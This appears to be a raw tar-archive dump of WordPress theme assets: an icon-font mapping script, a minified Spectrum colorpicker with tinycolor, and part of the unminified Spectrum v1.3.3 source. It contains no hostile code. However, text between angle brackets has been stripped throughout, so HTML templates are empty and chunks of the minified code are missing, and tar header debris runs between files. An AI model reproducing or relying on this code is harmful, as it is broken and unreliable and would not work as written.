'icon-person' : '', 'icon-phone' : '', 'icon-phone-alt' : '', 'icon-photo' : '', 'icon-photo-alt' : '', 'icon-picasa' : '', 'icon-picture' : '', 'icon-pinterest' : '', 'icon-plane' : '', 'icon-play-alt' : '', 'icon-play-circle' : '', 'icon-plus' : '', 'icon-remove' : '', 'icon-remove-circle' : '', 'icon-remove-sign' : '', 'icon-repeat' : '', 'icon-repeat-alt' : '', 'icon-resize-full' : '', 'icon-resize-horizontal' : '', 'icon-resize-small' : '', 'icon-resize-vertical' : '', 'icon-retweet' : '', 'icon-reverse-alt' : '', 'icon-road' : '', 'icon-rss' : '', 'icon-screen' : '', 'icon-screen-alt' : '', 'icon-smiley-alt' : '', 'icon-speaker' : '', 'icon-stackoverflow' : '', 'icon-star' : '', 'icon-star-alt' : '', 'icon-star-empty' : '', 'icon-stop-alt' : '', 'icon-stumbleupon' : '', 'icon-tag' : '', 'icon-tags' : '', 'icon-tasks' : '', 'icon-text-height' : '', 'icon-text-width' : '', 'icon-th' : '', 'icon-twitter' : '', 'icon-universal-access' : '', 'icon-unlock' : '', 'icon-unlock-alt' : '', 'icon-upload' : '', 'icon-user' : '', 'icon-video' : '', 'icon-video-alt' : '', 'icon-video-chat' : '', 'icon-view-mode' : '', 'icon-vimeo' : '', 'icon-vkontakte' : '', 'icon-volume-down' : '', 'icon-volume-off' : '', 'icon-volume-up' : '', 'icon-backward' : '', 'icon-fast-backward' : '', 'icon-fast-forward' : '', 'icon-forward' : '', 'icon-play' : '', 'icon-step-backward' : '', 'icon-step-forward' : '', 'icon-briefcase' : '', 'icon-bullhorn' : '', 'icon-calendar' : '', 'icon-calendar-sign' : '', 'icon-address-book' : '', 'icon-address-book-alt' : '', 'icon-adjust' : '', 'icon-adult' : '', 'icon-align-center' : '', 'icon-align-justify' : '', 'icon-align-left' : '', 'icon-align-right' : '', 'icon-arrow-down' : '', 'icon-arrow-left' : '', 'icon-arrow-right' : '', 'icon-arrow-up' : '', 'icon-asl' : '', 'icon-asterisk' : '', 'icon-ban-circle' : '', 'icon-barcode' : '', 'icon-behance' : '', 'icon-bell' : '', 'icon-blind' : '', 'icon-blogger' : '', 'icon-bold' : '', 'icon-book' : '', 'icon-bookmark' : '', 'icon-bookmark-empty' : '', 'icon-braille' : '', 'icon-camera' : '', 'icon-cc' : '', 'icon-certificate' : '', 'icon-check' : '', 'icon-check-empty' : '', 'icon-chevron-down' : '', 'icon-chevron-left' : '', 'icon-chevron-right' : '', 'icon-chevron-up' : '', 'icon-child' : '', 'icon-circle-arrow-down' : '', 'icon-circle-arrow-left' : '', 'icon-circle-arrow-right' : '', 'icon-circle-arrow-up' : '', 'icon-cloud' : '', 'icon-cloud-alt' : '', 'icon-cog' : '', 'icon-cog-alt' : '', 'icon-cogs' : '', 'icon-comment' : '', 'icon-comment-alt' : '', 'icon-compass' : '', 'icon-compass-alt' : '', 'icon-credit-card' : '', 'icon-css' : '', 'icon-dashboard' : '', 'icon-delicious' : '', 'icon-deviantart' : '', 'icon-digg' : '', 'icon-download' : '', 'icon-download-alt' : '', 'icon-dribble' : '', 'icon-edit' : '', 'icon-eject' : '', 'icon-envelope' : '', 'icon-envelope-alt' : '', 'icon-error' : '', 'icon-error-alt' : '', 'icon-exclamation-sign' : '', 'icon-eye-close' : '', 'icon-eye-open' : '', 'icon-facebook' : '', 'icon-facetime-video' : '', 'icon-female' : '', 'icon-file' : '', 'icon-file-alt' : '', 'icon-file-edit' : '', 'icon-file-edit-alt' : '', 'icon-file-new' : '', 'icon-file-new-alt' : '', 'icon-film' : '', 'icon-filter' : '', 'icon-fire' : '', 'icon-flag' : '', 'icon-flag-alt' : '', 'icon-flickr' : '', 'icon-folder' : '', 'icon-folder-close' : '', 'icon-folder-open' : '', 'icon-folder-sign' : '', 'icon-font' : '', 'icon-fontsize' : '', 'icon-forward-alt' : '', 'icon-foursquare' : '', 'icon-friendfeed' : '', 'icon-friendfeed-rect' : '', 'icon-fullscreen' : '', 'icon-gift' : '', 'icon-github' : '', 'icon-github-text' : '', 'icon-glass' : '', 'icon-glasses' : '', 'icon-globe' : '', 'icon-globe-alt' : '', 'icon-googleplus' : '', 'icon-graph' : '', 'icon-graph-alt' : '', 'icon-group' : '', 'icon-group-alt' : '', 'icon-guidedog' : '', 'icon-hand-down' : '', 'icon-hand-left' : '', 'icon-hand-right' : '', 'icon-hand-up' : '', 'icon-hdd' : '', 'icon-headphones' : '', 'icon-hearing-impaired' : '', 'icon-heart' : '', 'icon-heart-alt' : '', 'icon-heart-empty' : '', 'icon-home' : '', 'icon-home-alt' : '', 'icon-idea' : '', 'icon-idea-alt' : '', 'icon-inbox' : '', 'icon-inbox-alt' : '', 'icon-inbox-box' : '', 'icon-indent-left' : '', 'icon-indent-right' : '', 'icon-info-sign' : '', 'icon-instagram' : '', 'icon-iphone-home' : '', 'icon-italic' : '', 'icon-key' : '', 'icon-laptop' : '', 'icon-laptop-alt' : '', 'icon-leaf' : '', 'icon-linkedin' : '', 'icon-list' : '', 'icon-list-alt' : '', 'icon-lock' : '', 'icon-lock-alt' : '', 'icon-magnet' : '', 'icon-male' : '', 'icon-map-marker' : '', 'icon-map-marker-alt' : '', 'icon-mic' : '', 'icon-mic-alt' : '', 'icon-minus' : '', 'icon-minus-sign' : '', 'icon-pause' : '', 'icon-fork' : '', 'icon-broom' : '', 'icon-return-key' : '', 'icon-lastfm' : '', 'icon-livejournal' : '', 'icon-myspace' : '', 'icon-soundcloud' : '', 'icon-viadeo' : '', 'icon-spotify' : '', 'icon-caret-left' : '', 'icon-caret-up' : '', 'icon-caret-right' : '', 'icon-caret-down' : '', 'icon-stop' : '' }, els = document.getElementsByTagName('*'), i, attr, html, c, el; for (i = 0; ; i += 1) { el = els[i]; if(!el) { break; } attr = el.getAttribute('data-icon'); if (attr) { addIcon(el, attr); } c = el.className; c = c.match(/icon-[^\s'"]+/); if (c && icons[c[0]]) { addIcon(el, icons[c[0]]); } } };lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/spectrum/fusionredux-spectrum.min.js000064400000057312152342437710031466 0ustar00Avada/includes!function(a,b,c){function d(a,b,c,d){for(var e=[],f=0;f')}else{e.push('')}}return"
    "+e.join("")+"
    "}function e(){for(var a=0;aMath.abs(b-e);sa=f?"x":"y"}}else sa=null;var g=!sa||"x"===sa,h=!sa||"y"===sa;g&&(ia=parseFloat(a/_)),h&&(ja=parseFloat((aa-b)/aa)),Va=!1,T.showAlpha||(ka=1),K()},A,B),Qa?(H(Qa),L(),Ta=Sa||tinycolor(Qa).format,w(Qa)):L(),U&&E();var d=q?"mousedown.spectrum":"click.spectrum touchstart.spectrum";Fa.delegate(".sp-thumb-el",d,a),Ga.delegate(".sp-thumb-el:nth-child(1)",d,{ignore:!0},a)}function v(){if(W&&a.localStorage){try{var c=a.localStorage[W].split(",#");c.length>1&&(delete a.localStorage[W],b.each(c,function(a,b){w(b)}))}catch(a){}try{oa=a.localStorage[W].split(";")}catch(a){}}}function w(c){if(V){var d=tinycolor(c).toRgbString();if(!na[d]&&-1===b.inArray(d,oa))for(oa.push(d);oa.length>pa;)oa.shift();if(W&&a.localStorage)try{a.localStorage[W]=oa.join(";")}catch(a){}}}function x(){var a=[];if(T.showPalette)for(i=0;ij&&j>e?Math.abs(l.left+e-j):0),l.top-=Math.min(l.top,l.top+f>k&&k>f?Math.abs(f+g-d):d),l}function j(){}function k(a){a.stopPropagation()}function l(a,b){var c=Array.prototype.slice,d=c.call(arguments,2);return function(){return a.apply(b,d.concat(c.call(arguments)))}}function m(c,d,e,f){function g(a){a.stopPropagation&&a.stopPropagation(),a.preventDefault&&a.preventDefault(),a.returnValue=!1}function h(a){if(l){if(q&&document.documentMode<9&&!a.button)return j();var b=a.originalEvent.touches,e=b?b[0].pageX:a.pageX,f=b?b[0].pageY:a.pageY,h=Math.max(0,Math.min(e-m.left,o)),i=Math.max(0,Math.min(f-m.top,n));p&&g(a),d.apply(c,[h,i,a])}}function i(a){var d=a.which?3==a.which:2==a.button;a.originalEvent.touches;d||l||!1!==e.apply(c,arguments)&&(l=!0,n=b(c).height(),o=b(c).width(),m=b(c).offset(),b(k).bind(r),b(k.body).addClass("sp-dragging"),p||h(a),g(a))}function j(){l&&(b(k).unbind(r),b(k.body).removeClass("sp-dragging"),f.apply(c,arguments)),l=!1}d=d||function(){},e=e||function(){},f=f||function(){};var k=c.ownerDocument||document,l=!1,m={},n=0,o=0,p="ontouchstart"in a,r={};r.selectstart=g,r.dragstart=g,r["touchmove mousemove"]=h,r["touchend mouseup"]=j,b(c).bind("touchstart mousedown",i)}function n(a,b,c){var d;return function(){var e=this,f=arguments,g=function(){d=null,a.apply(e,f)};c&&clearTimeout(d),!c&&d||(d=setTimeout(g,b))}}var o={beforeShow:j,move:j,change:j,show:j,hide:j,color:!1,flat:!1,showInput:!1,allowEmpty:!1,showButtons:!0,clickoutFiresChange:!1,showInitial:!1,showPalette:!1,showPaletteOnly:!1,showSelectionPalette:!0,localStorageKey:!1,appendTo:"body",maxSelectionSize:7,cancelText:"cancel",chooseText:"choose",clearText:"Clear Color Selection",preferredFormat:!1,className:"",containerClassName:"",replacerClassName:"",showAlpha:!1,theme:"sp-light",palette:[["#ffffff","#000000","#ff0000","#ff8000","#ffff00","#008000","#0000ff","#4b0082","#9400d3"]],selectionPalette:[],disabled:!1,inputText:""},p=[],q=!!/msie/i.exec(a.navigator.userAgent),r=function(){function a(a,b){return!!~(""+a).indexOf(b)}var b=document.createElement("div"),c=b.style;return c.cssText="background-color:rgba(0,0,0,.5)",a(c.backgroundColor,"rgba")||a(c.backgroundColor,"hsla")}(),s=function(){var a=b("")[0];return"color"===a.type&&"#ffffff"!==a.value}(),t=["
    ","
    ","
    ","
    "].join(""),u=function(){var a="";if(q)for(var b=1;b<=6;b++)a+="
    ";return["
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ",a,"
    ","
    ","
    ","
    ","
    ","","
    ","
    ","
    ","","","
    ","
    ","
    "].join("")}(),v="spectrum.id";b.fn.spectrum=function(a,c){if("string"==typeof a){var d=this,e=Array.prototype.slice.call(arguments,1);return this.each(function(){var c=p[b(this).data(v)];if(c){var f=c[a];if(!f)throw new Error("Spectrum: no such method: '"+a+"'");"get"==a?d=c.get():"container"==a?d=c.container:"option"==a?d=c.option.apply(c,e):"destroy"==a?(c.destroy(),b(this).removeData(v)):f.apply(c,e)}}),d}return this.spectrum("destroy").each(function(){var c=b.extend({},a,b(this).data()),d=g(this,c);b(this).data(v,d.id)})},b.fn.spectrum.load=!0,b.fn.spectrum.loadOpts={},b.fn.spectrum.draggable=m,b.fn.spectrum.defaults=o,b.spectrum={},b.spectrum.localization={},b.spectrum.palettes={},b.fn.spectrum.processNativeColorInputs=function(){s||b("input[type=color]").spectrum({preferredFormat:"hex6"})},function(){function b(a,d){if(a=a||"",d=d||{},"object"==typeof a&&a.hasOwnProperty("_tc_id"))return a;var f=c(a),h=f.r,k=f.g,n=f.b,o=f.a,p=A(100*o)/100,q=d.format||f.format;return h<1&&(h=A(h)),k<1&&(k=A(k)),n<1&&(n=A(n)),{ok:f.ok,format:q,_tc_id:y++,alpha:o,getAlpha:function(){return o},setAlpha:function(a){o=l(a),p=A(100*o)/100},toHsv:function(){var a=g(h,k,n);return{h:360*a.h,s:a.s,v:a.v,a:o}},toHsvString:function(){var a=g(h,k,n),b=A(360*a.h),c=A(100*a.s),d=A(100*a.v);return 1==o?"hsv("+b+", "+c+"%, "+d+"%)":"hsva("+b+", "+c+"%, "+d+"%, "+p+")"},toHsl:function(){var a=e(h,k,n);return{h:360*a.h,s:a.s,l:a.l,a:o}},toHslString:function(){var a=e(h,k,n),b=A(360*a.h),c=A(100*a.s),d=A(100*a.l);return 1==o?"hsl("+b+", "+c+"%, "+d+"%)":"hsla("+b+", "+c+"%, "+d+"%, "+p+")"},toHex:function(a){return i(h,k,n,a)},toHexString:function(a){return"#"+this.toHex(a)},toHex8:function(){return j(h,k,n,o)},toHex8String:function(){return"#"+this.toHex8()},toRgb:function(){return{r:A(h),g:A(k),b:A(n),a:o}},toRgbString:function(){return 1==o?"rgb("+A(h)+", "+A(k)+", "+A(n)+")":"rgba("+A(h)+", "+A(k)+", "+A(n)+", "+p+")"},toPercentageRgb:function(){return{r:A(100*m(h,255))+"%",g:A(100*m(k,255))+"%",b:A(100*m(n,255))+"%",a:o}},toPercentageRgbString:function(){return 1==o?"rgb("+A(100*m(h,255))+"%, "+A(100*m(k,255))+"%, "+A(100*m(n,255))+"%)":"rgba("+A(100*m(h,255))+"%, "+A(100*m(k,255))+"%, "+A(100*m(n,255))+"%, "+p+")"},toName:function(){return 0===o?"transparent":F[i(h,k,n,!0)]||!1},toFilter:function(a){var c="#"+j(h,k,n,o),e=c,f=d&&d.gradientType?"GradientType = 1, ":"";if(a){e=b(a).toHex8String()}return"progid:DXImageTransform.Microsoft.gradient("+f+"startColorstr="+c+",endColorstr="+e+")"},toString:function(a){var b=!!a;a=a||this.format;var c=!1,d=!b&&o<1&&o>0,e=d&&("hex"===a||"hex6"===a||"hex3"===a||"name"===a);return"rgb"===a&&(c=this.toRgbString()),"prgb"===a&&(c=this.toPercentageRgbString()),"hex"!==a&&"hex6"!==a||(c=this.toHexString()),"hex3"===a&&(c=this.toHexString(!0)),"hex8"===a&&(c=this.toHex8String()),"name"===a&&(c=this.toName()),"hsl"===a&&(c=this.toHslString()),"hsv"===a&&(c=this.toHsvString()),e?this.toRgbString():c||this.toHexString()}}}function c(a){var b={r:0,g:0,b:0},c=1,e=!1,g=!1;return"string"==typeof a&&(a=v(a)),"object"==typeof a&&(a.hasOwnProperty("r")&&a.hasOwnProperty("g")&&a.hasOwnProperty("b")?(b=d(a.r,a.g,a.b),e=!0,g="%"===String(a.r).substr(-1)?"prgb":"rgb"):a.hasOwnProperty("h")&&a.hasOwnProperty("s")&&a.hasOwnProperty("v")?(a.s=s(a.s),a.v=s(a.v),b=h(a.h,a.s,a.v),e=!0,g="hsv"):a.hasOwnProperty("h")&&a.hasOwnProperty("s")&&a.hasOwnProperty("l")&&(a.s=s(a.s),a.l=s(a.l),b=f(a.h,a.s,a.l),e=!0,g="hsl"),a.hasOwnProperty("a")&&(c=a.a)),c=l(c),{ok:e,format:a.format||g,r:B(255,C(b.r,0)),g:B(255,C(b.g,0)),b:B(255,C(b.b,0)),a:c}}function d(a,b,c){return{r:255*m(a,255),g:255*m(b,255),b:255*m(c,255)}}function e(a,b,c){a=m(a,255),b=m(b,255),c=m(c,255);var d,e,f=C(a,b,c),g=B(a,b,c),h=(f+g)/2;if(f==g)d=e=0;else{var i=f-g;switch(e=h>.5?i/(2-f-g):i/(f+g),f){case a:d=(b-c)/i+(b1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a}var e,f,g;if(a=m(a,360),b=m(b,100),c=m(c,100),0===b)e=f=g=c;else{var h=c<.5?c*(1+b):c+b-c*b,i=2*c-h;e=d(i,h,a+1/3),f=d(i,h,a),g=d(i,h,a-1/3)}return{r:255*e,g:255*f,b:255*g}}function g(a,b,c){a=m(a,255),b=m(b,255),c=m(c,255);var d,e,f=C(a,b,c),g=B(a,b,c),h=f,i=f-g;if(e=0===f?0:i/f,f==g)d=0;else{switch(f){case a:d=(b-c)/i+(b1)&&(a=1),a}function m(a,b){p(a)&&(a="100%");var c=q(a);return a=B(b,C(0,parseFloat(a))),c&&(a=parseInt(a*b,10)/100),z.abs(a-b)<1e-6?1:a%b/parseFloat(b)}function n(a){return B(1,C(0,a))}function o(a){return parseInt(a,16)}function p(a){return"string"==typeof a&&-1!=a.indexOf(".")&&1===parseFloat(a)}function q(a){return"string"==typeof a&&-1!=a.indexOf("%")}function r(a){return 1==a.length?"0"+a:""+a}function s(a){return a<=1&&(a=100*a+"%"),a}function t(a){return Math.round(255*parseFloat(a)).toString(16)}function u(a){return o(a)/255}function v(a){a=a.replace(w,"").replace(x,"").toLowerCase();var b=!1;if(E[a])a=E[a],b=!0;else if("transparent"==a)return{r:0,g:0,b:0,a:0,format:"name"};var c;return(c=G.rgb.exec(a))?{r:c[1],g:c[2],b:c[3]}:(c=G.rgba.exec(a))?{r:c[1],g:c[2],b:c[3],a:c[4]}:(c=G.hsl.exec(a))?{h:c[1],s:c[2],l:c[3]}:(c=G.hsla.exec(a))?{h:c[1],s:c[2],l:c[3],a:c[4]}:(c=G.hsv.exec(a))?{h:c[1],s:c[2],v:c[3]}:(c=G.hex8.exec(a))?{a:u(c[1]),r:o(c[2]),g:o(c[3]),b:o(c[4]),format:b?"name":"hex8"}:(c=G.hex6.exec(a))?{r:o(c[1]),g:o(c[2]),b:o(c[3]),format:b?"name":"hex"}:!!(c=G.hex3.exec(a))&&{r:o(c[1]+""+c[1]),g:o(c[2]+""+c[2]),b:o(c[3]+""+c[3]),format:b?"name":"hex"}}var w=/^[\s,#]+/,x=/\s+$/,y=0,z=Math,A=z.round,B=z.min,C=z.max,D=z.random;b.fromRatio=function(a,c){if("object"==typeof a){var d={};for(var e in a)a.hasOwnProperty(e)&&(d[e]="a"===e?a[e]:s(a[e]));a=d}return b(a,c)},b.equals=function(a,c){return!(!a||!c)&&b(a).toRgbString()==b(c).toRgbString()},b.random=function(){return b.fromRatio({r:D(),g:D(),b:D()})},b.desaturate=function(a,c){c=0===c?0:c||10;var d=b(a).toHsl();return d.s-=c/100,d.s=n(d.s),b(d)},b.saturate=function(a,c){c=0===c?0:c||10;var d=b(a).toHsl();return d.s+=c/100,d.s=n(d.s),b(d)},b.greyscale=function(a){return b.desaturate(a,100)},b.lighten=function(a,c){c=0===c?0:c||10;var d=b(a).toHsl();return d.l+=c/100,d.l=n(d.l),b(d)},b.darken=function(a,c){c=0===c?0:c||10;var d=b(a).toHsl();return d.l-=c/100,d.l=n(d.l),b(d)},b.complement=function(a){var c=b(a).toHsl();return c.h=(c.h+180)%360,b(c)},b.triad=function(a){var c=b(a).toHsl(),d=c.h;return[b(a),b({h:(d+120)%360,s:c.s,l:c.l}),b({h:(d+240)%360,s:c.s,l:c.l})]},b.tetrad=function(a){var c=b(a).toHsl(),d=c.h;return[b(a),b({h:(d+90)%360,s:c.s,l:c.l}),b({h:(d+180)%360,s:c.s,l:c.l}),b({h:(d+270)%360,s:c.s,l:c.l})]},b.splitcomplement=function(a){var c=b(a).toHsl(),d=c.h;return[b(a),b({h:(d+72)%360,s:c.s,l:c.l}),b({h:(d+216)%360,s:c.s,l:c.l})]},b.analogous=function(a,c,d){c=c||6,d=d||30;var e=b(a).toHsl(),f=360/d,g=[b(a)];for(e.h=(e.h-(f*c>>1)+720)%360;--c;)e.h=(e.h+f)%360,g.push(b(e));return g},b.monochromatic=function(a,c){c=c||6;for(var d=b(a).toHsv(),e=d.h,f=d.s,g=d.v,h=[],i=1/c;c--;)h.push(b({h:e,s:f,v:g})),g=(g+i)%1;return h},b.readability=function(a,c){var d=b(a).toRgb(),e=b(c).toRgb(),f=(299*d.r+587*d.g+114*d.b)/1e3,g=(299*e.r+587*e.g+114*e.b)/1e3,h=Math.max(d.r,e.r)-Math.min(d.r,e.r)+Math.max(d.g,e.g)-Math.min(d.g,e.g)+Math.max(d.b,e.b)-Math.min(d.b,e.b);return{brightness:Math.abs(f-g),color:h}},b.readable=function(a,c){var d=b.readability(a,c);return d.brightness>125&&d.color>500},b.mostReadable=function(a,c){for(var d=null,e=0,f=!1,g=0;g125&&h.color>500,j=h.brightness/125*3+h.color/500;(i&&!f||i&&f&&j>e||!i&&!f&&j>e)&&(f=i,e=j,d=b(c[g]))}return d};var E=b.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},F=b.hexNames=k(E),G=function(){var a="[-\\+]?\\d+%?",b="[-\\+]?\\d*\\.\\d+%?",c="(?:"+b+")|(?:"+a+")",d="[\\s|\\(]+("+c+")[,|\\s]+("+c+")[,|\\s]+("+c+")\\s*\\)?",e="[\\s|\\(]+("+c+")[,|\\s]+("+c+")[,|\\s]+("+c+")[,|\\s]+("+c+")\\s*\\)?";return{rgb:new RegExp("rgb"+d),rgba:new RegExp("rgba"+e),hsl:new RegExp("hsl"+d),hsla:new RegExp("hsla"+e),hsv:new RegExp("hsv"+d),hex3:/^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex8:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/}}();a.tinycolor=b}(),b(function(){b.fn.spectrum.load&&b.fn.spectrum.processNativeColorInputs()})}(window,jQuery);includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/spectrum/fusionredux-spectrum.js000064400000213555152342437710030707 0ustar00Avada// Spectrum Colorpicker v1.3.3 // https://github.com/bgrins/spectrum // Author: Brian Grinstead // License: MIT (function (window, $, undefined) { var defaultOpts = { // Callbacks beforeShow: noop, move: noop, change: noop, show: noop, hide: noop, // Options color: false, flat: false, showInput: false, allowEmpty: false, showButtons: true, clickoutFiresChange: false, showInitial: false, showPalette: false, showPaletteOnly: false, showSelectionPalette: true, localStorageKey: false, appendTo: "body", maxSelectionSize: 7, cancelText: "cancel", chooseText: "choose", clearText: "Clear Color Selection", preferredFormat: false, className: "", // Deprecated - use containerClassName and replacerClassName instead. containerClassName: "", replacerClassName: "", showAlpha: false, theme: "sp-light", palette: [["#ffffff", "#000000", "#ff0000", "#ff8000", "#ffff00", "#008000", "#0000ff", "#4b0082", "#9400d3"]], selectionPalette: [], disabled: false, inputText: '' }, spectrums = [], IE = !!/msie/i.exec( window.navigator.userAgent ), rgbaSupport = (function() { function contains( str, substr ) { return !!~('' + str).indexOf(substr); } var elem = document.createElement('div'); var style = elem.style; style.cssText = 'background-color:rgba(0,0,0,.5)'; return contains(style.backgroundColor, 'rgba') || contains(style.backgroundColor, 'hsla'); })(), inputTypeColorSupport = (function() { var colorInput = $("")[0]; return colorInput.type === "color" && colorInput.value !== "#ffffff"; })(), replaceInput = [ "
    ", "
    ", "
    ", //"
    " + opts.inputText + "
    ", "
    " ].join(''), markup = (function () { // IE does not support gradients with multiple stops, so we need to simulate // that for the rainbow slider with 8 divs that each have a single gradient var gradientFix = ""; if (IE) { for (var i = 1; i <= 6; i++) { gradientFix += "
    "; } } return [ "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", "
    ", gradientFix, "
    ", "
    ", "
    ", "
    ", "
    ", "", "
    ", "
    ", "
    ", "", "", "
    ", "
    ", "
    " ].join(""); })(); function paletteTemplate (p, color, className, tooltipFormat) { var html = []; for (var i = 0; i < p.length; i++) { var current = p[i]; if(current) { var tiny = tinycolor(current); var c = tiny.toHsl().l < 0.5 ? "sp-thumb-el sp-thumb-dark" : "sp-thumb-el sp-thumb-light"; c += (tinycolor.equals(color, current)) ? " sp-thumb-active" : ""; var formattedString = tiny.toString(tooltipFormat || "rgb"); var swatchStyle = rgbaSupport ? ("background-color:" + tiny.toRgbString()) : "filter:" + tiny.toFilter(); html.push(''); } else { var cls = 'sp-clear-display'; html.push(''); } } return "
    " + html.join('') + "
    "; } function hideAll() { for (var i = 0; i < spectrums.length; i++) { if (spectrums[i]) { spectrums[i].hide(); } } } function instanceOptions(o, callbackContext) { var opts = $.extend({}, defaultOpts, o); opts.callbacks = { 'move': bind(opts.move, callbackContext), 'change': bind(opts.change, callbackContext), 'show': bind(opts.show, callbackContext), 'hide': bind(opts.hide, callbackContext), 'beforeShow': bind(opts.beforeShow, callbackContext) }; return opts; } function spectrum(element, o) { var opts = instanceOptions(o, element), flat = opts.flat, showSelectionPalette = opts.showSelectionPalette, localStorageKey = opts.localStorageKey, theme = opts.theme, callbacks = opts.callbacks, resize = throttle(reflow, 10), visible = false, dragWidth = 0, dragHeight = 0, dragHelperHeight = 0, slideHeight = 0, slideWidth = 0, alphaWidth = 0, alphaSlideHelperWidth = 0, slideHelperHeight = 0, currentHue = 0, currentSaturation = 0, currentValue = 0, currentAlpha = 1, palette = [], paletteArray = [], paletteLookup = {}, selectionPalette = opts.selectionPalette.slice(0), maxSelectionSize = opts.maxSelectionSize, draggingClass = "sp-dragging", inputText = opts.inputText, shiftMovementDirection = null; var doc = element.ownerDocument, body = doc.body, boundElement = $(element), disabled = false, container = $(markup, doc).addClass(theme), dragger = container.find(".sp-color"), dragHelper = container.find(".sp-dragger"), slider = container.find(".sp-hue"), slideHelper = container.find(".sp-slider"), alphaSliderInner = container.find(".sp-alpha-inner"), alphaSlider = container.find(".sp-alpha"), alphaSlideHelper = container.find(".sp-alpha-handle"), textInput = container.find(".sp-input"), paletteContainer = container.find(".sp-palette"), initialColorContainer = container.find(".sp-initial"), cancelButton = container.find(".sp-cancel"), clearButton = container.find(".sp-clear"), chooseButton = container.find(".sp-choose"), isInput = boundElement.is("input"), isInputTypeColor = isInput && inputTypeColorSupport && boundElement.attr("type") === "color", shouldReplace = isInput && !flat, replacer = (shouldReplace) ? $(replaceInput).addClass(theme).addClass(opts.className).addClass(opts.replacerClassName) : $([]), offsetElement = (shouldReplace) ? replacer : boundElement, previewElement = replacer.find(".sp-preview-inner"), initialColor = opts.color || (isInput && boundElement.val()), colorOnShow = false, preferredFormat = opts.preferredFormat, currentPreferredFormat = preferredFormat, clickoutFiresChange = !opts.showButtons || opts.clickoutFiresChange, isEmpty = !initialColor, allowEmpty = opts.allowEmpty && !isInputTypeColor; if (inputText !== '') { var x = $(offsetElement).find('div.sp-dd'); x.text(inputText); } function applyOptions() { if (opts.showPaletteOnly) { opts.showPalette = true; } if (opts.palette) { palette = opts.palette.slice(0); paletteArray = Array.isArray(palette[0]) ? palette : [palette]; paletteLookup = {}; for (var i = 0; i < paletteArray.length; i++) { for (var j = 0; j < paletteArray[i].length; j++) { var rgb = tinycolor(paletteArray[i][j]).toRgbString(); paletteLookup[rgb] = true; } } } container.toggleClass("sp-flat", flat); container.toggleClass("sp-input-disabled", !opts.showInput); container.toggleClass("sp-alpha-enabled", opts.showAlpha); container.toggleClass("sp-clear-enabled", allowEmpty); container.toggleClass("sp-buttons-disabled", !opts.showButtons); 